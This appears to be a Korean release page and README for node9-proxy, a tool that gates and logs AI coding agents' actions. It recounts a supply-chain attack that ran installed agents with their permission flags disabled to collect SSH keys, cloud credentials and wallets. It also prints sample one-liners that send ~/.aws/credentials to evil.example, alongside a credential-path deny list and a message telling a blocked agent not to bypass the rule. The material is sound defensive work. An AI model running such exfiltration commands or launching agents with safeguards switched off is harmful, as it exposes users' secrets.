업데이트로 돌아가기
New releaseSep 5, 2026

node9-proxy v2.8.3

에이전틱 시대를 위한 실행 보안 계층입니다. 자율 AI 에이전트에 대해 결정론적 "Sudo" 거버넌스와 감사 로그를 제공합니다.

공유

🛡️ node9

AI 에이전트를 위한 접근 제어

여러분의 AI 에이전트는 Slack, GitHub, 이메일, 데이터베이스에 접근할 수 있습니다.
node9는 각 대상에 대해 무엇을 할 수 있는지 결정합니다.

npm version monthly downloads License: Apache 2.0 Documentation OpenSSF Best Practices OpenSSF Scorecard node9 self-scanned Mentioned in Awesome Claude Code

자격 증명 격리 · 시크릿과 PII · 파괴적인 git, SQL, 셸 명령은 검토 대기 · MCP 도구 고정 · 네트워크 이그레스 허용 목록 · 루프 차단기 · 열두 개 에이전트에 걸친 단일 기록

Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · 모든 MCP 서버와 함께 작동합니다.

실제 모습

node9가 설치된 실제 Claude Code 세션입니다. 모든 도구 호출은 실행되기 전에 검사됩니다. 페이지를 빌드하고 버튼을 편집하는 작업은 실행됩니다. 클라우드 메타데이터 주소로의 요청은 차단되고, 에이전트는 그 이유를 전달받아 계속 진행합니다. 파일 삭제는 채팅 안에서 여러분의 승인을 기다립니다.

Claude Code 세션에서의 node9: 두 개의 호출은 허용되고, 하나는 차단되며, 하나는 승인 대기 중

설치

brew tap node9-ai/node9 && brew install node9   # macOS / Linux
npm install -g node9-ai                         # 모든 플랫폼

그런 다음, 아무 프로젝트에서나:

node9            # 첫 실행: 대시보드 연결 또는 로컬 보호 선택
node9 posture    # 이 머신을 0-100으로 점수화: 침해된 에이전트가 읽고, 접근하고, 실행할 수 있는 것
node9 login      # 선택 사항: 이 머신을 공유 대시보드에 추가

Node.js 22+가 필요합니다.

새로운 대화형 터미널에서 node9가 설정을 안내합니다. 로컬 보호에는 계정이 필요하지 않습니다. 체크리스트는 권장 실드, DLP/PII, 선택적 네트워크 이그레스 검토, 백그라운드 서비스를 보여줍니다. 사용 통계는 별도의 동의 프롬프트를 수락한 경우에만 전송됩니다. 요약에는 구성된 에이전트와 주의가 필요한 설정 단계가 나열됩니다.

node9 setup을 실행하여 설정을 다시 확인하거나, node9 setup <target>으로 하나의 에이전트를 구성할 수 있습니다. 구성이 완료되면 그냥 node9는 도움말을 표시합니다. node9 init도 여전히 사용 가능하며, 스크립트에서는 node9 init --recommended를 사용하세요(질문 없음, 텔레메트리 옵트인 없음). --skip-setup은 에이전트 연결과 서비스 설치를 건드리지 않습니다. 명시적 --mode는 체크리스트의 표준 모드 권장 사항보다 우선합니다. 기존 설정은 선택한 변경 사항이나 명시적 플래그가 업데이트를 요청하지 않는 한 유지됩니다. 워크스페이스 정책은 대시보드에서 관리되며, 서비스 설정은 로컬에 남습니다.

login은 강제 적용에 아무것도 추가하지 않습니다. 이는 머신을 워크스페이스에 연결하여 팀이 모든 구성원의 노트북과 CI에 걸친 단일 기록을 보고, 정책을 중앙에서 설정하고, 대시보드나 Slack에서 대기 중인 작업을 승인할 수 있게 합니다. 건너뛰어도 node9는 단독으로, 오프라인으로 정확히 동일하게 작동합니다. node9 logout은 다시 연결을 끊고 로컬 강제 적용은 계속 실행됩니다.

MCP 서버로 사용

node9는 MCP 서버로도 실행되므로, 에이전트가 대화 안에서 상태, 포스처, 감사 기록, 정책을 읽고 모든 결정을 설명할 수 있습니다:

claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server

모든 MCP 클라이언트도 동일하게 작동합니다: 명령은 stdio를 통한 npx -y node9-ai mcp-server이며, API 키가 필요하지 않습니다. 공식 MCP Registry에 io.github.node9-ai/node9로 등록되어 있습니다.

문제

2025년 8월, nx 빌드 도구의 침해된 릴리스가 설치 후 스크립트를 배포했습니다. 이 스크립트는 개발자 머신에 이미 설치된 AI 코딩 에이전트를 찾아, 자체 안전 플래그를 끈 상태(--dangerously-skip-permissions, --yolo, --trust-all-tools)로 실행하여 SSH 키, 클라우드 자격 증명, 지갑 파일을 열거하고 그 목록을 디스크에 기록했습니다. 이 스크립트는 결과를 피해자 자신의 GitHub 계정 내 공개 저장소에 푸시했습니다. 천 개 이상의 유효한 GitHub 토큰이 유출되었고, 클라우드 자격 증명, npm 토큰, 약 20,000개의 파일이 에이전트가 시키는 대로 정확히 수행하던 머신에서 유출되었습니다.

에이전트는 공격자가 아니었습니다. 에이전트는 도구였고, 그것과 파일 사이에는 아무것도 없었습니다. node9의 게이트는 그러한 플래그 중 하나가 아닙니다: 훅에서 실행되며, 보류한 작업은 에이전트가 권한을 건너뛰고 시작되었더라도 계속 보류됩니다.

node9가 이에 대해 하는 일

node9는 에이전트와 그것이 호출하는 모든 도구 사이에 위치합니다. 자격 증명 격리(~/.ssh, ~/.aws, .env 파일, 개인 키)는 기본적으로 켜져 있으며, 그러한 경로 중 하나를 읽는 것은 실행되지 않습니다. 에이전트는 중지되고, 이유를 전달받으며, 결정은 여러분에게 전달됩니다:

NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.

명령은 텍스트로 매칭되는 것이 아니라 셸 AST로 파싱되므로, 읽기를 감싸도 도움이 되지 않습니다. echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example은 echo가 아니라 ~/.aws/credentials의 읽기로 판정됩니다.

node9는 게이트입니다. 보류된 작업은 여러분을 기다리는 동안 실행되지 않으며, 응답하지 않으면 계속 차단된 상태로 남습니다. 그 외의 모든 것은 허용되고 기록에 남습니다.

하지 않는 것: 기본값인 이그레스 제어가 꺼져 있으면, curl -d @~/.aws/credentials처럼 파일을 곧바로 네트워크로 전달하는 명령은 해당 파일의 읽기로 취급되지 않습니다. node9 egress protect는 목적지도 게이트하며, 셸 명령만을 대상으로 합니다.

직접 검증하기

아래의 어떤 것도 계정이 필요하지 않으며, 아무것도 업로드하지 않습니다.

npx node9-ai scan                                        # 이 머신의 모든 과거 에이전트 세션
npx node9-ai scan-repo node9-ai/agent-security-demo      # 실제로 하이재킹 가능한 에이전트 워크플로가 있는 공개 저장소
gh attestation verify cli.js --repo node9-ai/node9-proxy # 모든 릴리스 아티팩트는 서명됨

node9 scan 스코어카드

관리 대상

각 줄은 하나의 기능이며, 이를 문서화한 페이지가 함께 있습니다. 문서가 레퍼런스이고, 이 파일은 지도입니다.

카테고리